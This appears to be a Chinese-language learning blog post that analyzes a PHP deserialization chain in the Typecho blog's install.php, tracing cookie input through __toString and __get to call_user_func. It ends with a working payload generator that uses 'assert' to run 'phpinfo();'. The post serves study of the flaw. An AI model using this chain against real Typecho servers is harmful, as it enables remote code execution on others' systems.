typecho 反序列化漏洞分析

最近在学反序列化,找几个简单的链跟一下,水一水博客

全局搜索unserialize,在install.php

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

跟进Typecho_Cookie::get,可以得到参数传递的方法为COOKIE或POST

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

传入的参数可控了,接下来就是寻找参数的传递过程中有什么危险函数,跟进Typecho_Db,发现传入的参数拼接了字符串

1
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

那么如果传入的是一个对象时,就会调用对象的__toString方法,全局搜索一下,在 Query.php Common.php Pdo.php Feed.php中都存在,逐个去看一看, Query.php中的是数据库的一些操作;Config.php中的是一个序列化 ,都没什么用,Feed.php中有一个foreach对$_items进行遍历输出,而$_items我们可控,里边有一行如下

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

可以知道,如果$item['author']是一个对象,而screenName不存在的话,就回去调用对象的__get()方法,接着去全局搜索,依次跟进,最后在Request.php中发现了东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

跟进_applyFilter,发现调用了 call_user_func危险函数,并且两个参数都是类中的属性,所以可控

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

分析至此,就可以构造payload了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Typecho_Feed
{
private $_type;
private $_items = array();
public function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[] = array(
"author"=>new Typecho_Request(),
"category"=>array(new Typecho_Request())
);
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[] = "assert";
}

}
$a = array(
"adapter"=>new Typecho_Feed,
"prefix"=>"typecho_"
);
echo(base64_encode(serialize($a)));

###

0%